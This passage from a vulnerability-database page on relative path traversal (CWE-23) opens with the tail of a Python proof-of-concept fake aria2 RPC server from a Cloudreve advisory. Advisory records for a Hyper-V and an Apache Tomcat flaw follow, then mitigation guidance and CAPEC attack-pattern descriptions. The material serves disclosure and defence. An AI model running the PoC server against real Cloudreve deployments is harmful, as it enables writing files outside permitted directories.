str(len(CONTENT)),\n \"completedLength\": str(len(CONTENT)),\n \"selected\": \"true\",\n \"uris\": [],\n }\n ],\n \"bittorrent\": {\"mode\": \"single\", \"info\": {\"name\": \"poc-final\"}},\n }\n elif method == \"aria2.getVersion\":\n result = {\"version\": \"fake-poc-final\", \"enabledFeatures\": []}\n else:\n result = \"OK\"\n\n body = response(rpc_id, result)\n self.send_response(200)\n self.send_header(\"Content-Type\", \"application/json\")\n self.send_header(\"Content-Length\", str(len(body)))\n self.end_headers()\n self.wfile.write(body)\n\n def log_message(self, fmt, *args):\n return\n\n\nif __name__ == \"__main__\":\n print(\"fake aria2 JSON-RPC listening on :6800\", flush=True)\n HTTPServer((\"0.0.0.0\", 6800), Handler).serve_forever()\n```",
"id": "GHSA-w8j7-39hp-8x59",
"modified": "2026-08-24T22:03:33Z",
"published": "2026-08-24T22:03:33Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/cloudreve/cloudreve/security/advisories/GHSA-w8j7-39hp-8x59"
},
{
"type": "PACKAGE",
"url": "https://github.com/cloudreve/cloudreve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "Cloudreve\u0027s remote download file paths can escape the selected destination directory"
}
GHSA-W974-55HM-QP53
Vulnerability from github – Published: 2024-05-14 18:31 – Updated: 2024-05-14 18:31Windows Hyper-V Remote Code Execution Vulnerability
{
"affected": [],
"aliases": [
"CVE-2024-30010"
],
"database_specific": {
"cwe_ids": [
"CWE-23"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-05-14T17:16:40Z",
"severity": "HIGH"
},
"details": "Windows Hyper-V Remote Code Execution Vulnerability",
"id": "GHSA-w974-55hm-qp53",
"modified": "2024-05-14T18:31:03Z",
"published": "2024-05-14T18:31:03Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-30010"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-30010"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-WMWF-9CCG-FFF5
Vulnerability from github – Published: 2025-10-27 18:31 – Updated: 2026-05-13 16:23The fix for bug 60013 introduced a regression where the rewritten URL was normalized before it was decoded. This introduced the possibility that, for rewrite rules that rewrite query parameters to the URL, an attacker could manipulate the request URI to bypass security constraints including the protection for /WEB-INF/ and /META-INF/. If PUT requests were also enabled then malicious files could be uploaded leading to remote code execution. PUT requests are normally limited to trusted users and it is considered unlikely that PUT requests would be enabled in conjunction with a rewrite that manipulated the URI.
This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.10, from 10.1.0-M1 through 10.1.44, from 9.0.0.M11 through 9.0.108.
The following versions were EOL at the time the CVE was created but are known to be affected: 8.5.6 though 8.5.100. Other, older, EOL versions may also be affected. Users are recommended to upgrade to version 11.0.11 or later, 10.1.45 or later or 9.0.109 or later, which fix the issue.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.tomcat:tomcat"
},
"ranges": [
{
"events": [
{
"introduced": "11.0.0-M1"
},
{
"fixed": "11.0.11"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.tomcat:tomcat"
},
"ranges": [
{
"events": [
{
"introduced": "10.1.0-M1"
},
{
"fixed": "10.1.45"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.tomcat:tomcat"
},
"ranges": [
{
"events": [
{
"introduced": "9.0.0-M11"
},
{
"fixed": "9.0.109"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.tomcat:tomcat"
},
"ranges": [
{
"events": [
{
"introduced": "8.5.6"
},
{
"last_affected": "8.5.100"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.tomcat:tomcat-catalina"
},
"ranges": [
{
"events": [
{
"introduced": "11.0.0-M1"
},
{
"fixed": "11.0.11"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.tomcat:tomcat-catalina"
},
"ranges": [
{
"events": [
{
"introduced": "10.1.0-M1"
},
{
"fixed": "10.1.45"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.tomcat:tomcat-catalina"
},
"ranges": [
{
"events": [
{
"introduced": "9.0.0-M11"
},
{
"fixed": "9.0.109"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.tomcat:tomcat-catalina"
},
"ranges": [
{
"events": [
{
"introduced": "8.5.6"
},
{
"last_affected": "8.5.100"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.tomcat.embed:tomcat-embed-core"
},
"ranges": [
{
"events": [
{
"introduced": "11.0.0-M1"
},
{
"fixed": "11.0.11"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.tomcat.embed:tomcat-embed-core"
},
"ranges": [
{
"events": [
{
"introduced": "10.1.0-M1"
},
{
"fixed": "10.1.45"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.tomcat.embed:tomcat-embed-core"
},
"ranges": [
{
"events": [
{
"introduced": "9.0.0-M11"
},
{
"fixed": "9.0.109"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.tomcat.embed:tomcat-embed-core"
},
"ranges": [
{
"events": [
{
"introduced": "8.5.6"
},
{
"last_affected": "8.5.100"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-55752"
],
"database_specific": {
"cwe_ids": [
"CWE-23"
],
"github_reviewed": true,
"github_reviewed_at": "2025-10-28T17:55:41Z",
"nvd_published_at": "2025-10-27T18:15:42Z",
"severity": "HIGH"
},
"details": "The fix for bug 60013 introduced a regression where the rewritten URL was normalized before it was decoded. This introduced the possibility that, for rewrite rules that rewrite query parameters to the URL, an attacker could manipulate the request URI to bypass security constraints including the protection for /WEB-INF/ and /META-INF/. If PUT requests were also enabled then malicious files could be uploaded leading to remote code execution. PUT requests are normally limited to trusted users and it is considered unlikely that PUT requests would be enabled in conjunction with a rewrite that manipulated the URI.\n\n\n\nThis issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.10, from 10.1.0-M1 through 10.1.44, from 9.0.0.M11 through 9.0.108.\n\nThe following versions were EOL at the time the CVE was created but are known to be affected: 8.5.6 though 8.5.100. Other, older, EOL versions may also be affected. Users are recommended to upgrade to version 11.0.11 or later, 10.1.45 or later or 9.0.109 or later, which fix the issue.",
"id": "GHSA-wmwf-9ccg-fff5",
"modified": "2026-05-13T16:23:35Z",
"published": "2025-10-27T18:31:13Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-55752"
},
{
"type": "WEB",
"url": "https://github.com/apache/tomcat/commit/130d36d8492ef9e4eb22952c17c92423cb35fd06"
},
{
"type": "WEB",
"url": "https://github.com/apache/tomcat/commit/b5042622b8b78340ae65403c55dcb9c7416924df"
},
{
"type": "WEB",
"url": "https://github.com/apache/tomcat/commit/fec06c610ed7466b401e29cc567a58aee5ed826a"
},
{
"type": "WEB",
"url": "https://cert-portal.siemens.com/productcert/html/ssa-032379.html"
},
{
"type": "PACKAGE",
"url": "https://github.com/apache/tomcat"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread/n05kjcwyj1s45ovs8ll1qrrojhfb1tog"
},
{
"type": "WEB",
"url": "https://tomcat.apache.org/security-10.html#Fixed_in_Apache_Tomcat_10.1.45"
},
{
"type": "WEB",
"url": "https://tomcat.apache.org/security-11.html#Fixed_in_Apache_Tomcat_11.0.11"
},
{
"type": "WEB",
"url": "https://tomcat.apache.org/security-9.html#Fixed_in_Apache_Tomcat_9.0.109"
},
{
"type": "WEB",
"url": "https://www.vicarius.io/vsociety/posts/cve-2025-55752-detect-apache-tomcat-vulnerability"
},
{
"type": "WEB",
"url": "https://www.vicarius.io/vsociety/posts/cve-2025-55752-mitigate-apache-tomcat-vulnerability"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2025/10/27/4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Apache Tomcat Vulnerable to Relative Path Traversal"
}
Mitigation MIT-5.1
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
- Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation MIT-20.1
Strategy: Input Validation
- Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
- Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes:
- realpath() in C
- getCanonicalPath() in Java
- GetFullPath() in ASP.NET
- realpath() or abs_path() in Perl
- realpath() in PHP
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
CAPEC-139: Relative Path Traversal
An attacker exploits a weakness in input validation on the target by supplying a specially constructed path utilizing dot and slash characters for the purpose of obtaining access to arbitrary files or resources. An attacker modifies a known path on the target in order to reach material that is not available through intended channels. These attacks normally involve adding additional path separators (/ or \) and/or dots (.), or encodings thereof, in various combinations in order to reach parent directories or entirely separate trees of the target's directory structure.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.